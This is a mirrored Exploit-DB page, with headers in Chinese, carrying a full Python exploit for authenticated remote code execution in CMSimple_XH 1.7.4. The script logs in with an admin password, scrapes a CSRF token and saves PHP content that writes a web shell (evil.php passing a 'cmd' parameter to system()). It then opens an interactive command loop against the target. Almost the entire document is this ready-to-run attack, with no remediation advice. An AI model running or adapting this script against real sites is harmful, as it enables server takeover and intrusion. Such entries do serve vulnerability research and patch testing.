CMSimple_XH 1.7.4 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Halit AKAYDIN
    日期: 2021-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50367/
  • # Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)
    # Date: 01-10-2021
    # Exploit Author: Halit AKAYDIN (hLtAkydn)
    # Vendor Homepage: https://www.cmsimple-xh.org/
    # Software Link: https://www.cmsimple-xh.org/?Downloads
    # Version: 1.7.4
    # Category: Webapps
    # Tested on: Linux/Windows
    
    
    # CMSimple_XH is an open source project under GPL3 license
    # Includes an endpoint that allows remote access
    # Backup page is misconfigured, causing security vulnerability
    # User information with sufficient permissions is required.
    
    # Example: python3 exploit.py -u http://example.com -p Admin123
    
    
    
    from bs4 import BeautifulSoup
    from time import sleep
    import requests
    import argparse
    
    
    def main():
    parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')
    parser.add_argument('-u', '--host', type=str, required=True)
    parser.add_argument('-p', '--password', type=str, required=True)
    args = parser.parse_args()
    print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",
    "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
    host(args)
    
    
    
    def host(args):
    #Check http or https
    if args.host.startswith(('http://', 'https://')):
    print("[?] Check Url...\n")
    sleep(2)
    args.host = args.host
    if args.host.endswith('/'):
    args.host = args.host[:-1]
    else:
    pass
    else:
    print("\n[?] Check Adress...\n")
    sleep(2)
    args.host = "http://" + args.host
    args.host = args.host
    if args.host.endswith('/'):
    args.host = args.host[:-1]
    else:
    pass
    
    
    # Check Host Status
    try:
    response = requests.get(args.host)
    if response.status_code == 200:
    login(args)
    else:
    print("[-] Address not reachable!")
    sleep(2)
    
    except requests.ConnectionError as exception:
    print("[-] Address not reachable!")
    sleep(2)
    exit(1)
    
    
    def login(args):
    
    url = args.host + "/?&login"
    cookies = {
    "XH_2f": "evil"
    }
    headers = {
    "Origin": args.host,
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Referer": args.host + "/?&login"
    }
    data = {
    "login": "true",
    "keycut": args.password,
    "submit": "Login"
    }
    response = requests.post(url, headers=headers, cookies=cookies, data=data)
    
    token = response.cookies.get("XH_2f")
    soup = BeautifulSoup(response.text, 'html.parser')
    
    if (soup.find("link",{"rel":"next"})['href'] != "/"):
    print("[!] Login Success!\n")
    sleep(2)
    csrf(args,token)
    else:
    print("[!] Wrong password!!\n")
    sleep(2)
    
    
    def csrf(args, token):
    
    url = args.host + "/?file=content"
    cookies = {
    "status": "adm",
    "XH_2f": token
    }
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Referer": args.host + "/?&settings",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close"
    }
    response = requests.get(url, headers=headers, cookies=cookies)
    
    try:
    soup = BeautifulSoup(response.text, 'html.parser')
    csrf = soup.find_all("input", type="hidden")[3].get("value")
    create(args, token, csrf)
    except Exception as e:
    print(e)
    else:
    pass
    
    
    
    def create(args, token, csrf):
    
    payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"
    
    url = args.host
    cookies = {
    "status": "adm",
    "XH_2f": token
    }
    headers = {
    "Origin": args.host,
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Referer": args.host + "/?file=content&action=edit&xh_success=content",
    "Accept-Encoding": "gzip, deflate"
    }
    data = {
    "text": payload,
    "file": "content",
    "action": "save",
    "xh_csrf_token": csrf
    }
    response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)
    
    if (response.status_code == 200):
    print("[!] Create Vuln File!\n")
    sleep(2)
    exploit(args)
    else:
    print("[!] Create Failed!\n")
    sleep(2)
    
    
    def exploit(args):
    
    print("[+] Exploit Done!\n")
    sleep(2)
    
    while True:
    cmd = input("$ ")
    url = args.host + "/evil.php?cmd=" + cmd
    headers = {
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
    }
    
    response = requests.post(url, headers=headers, timeout=5)
    
    if response.text == "":
    print(cmd + ": command not found\n")
    else:
    print(response.text)
    
    
    
    if __name__ == '__main__':
    main()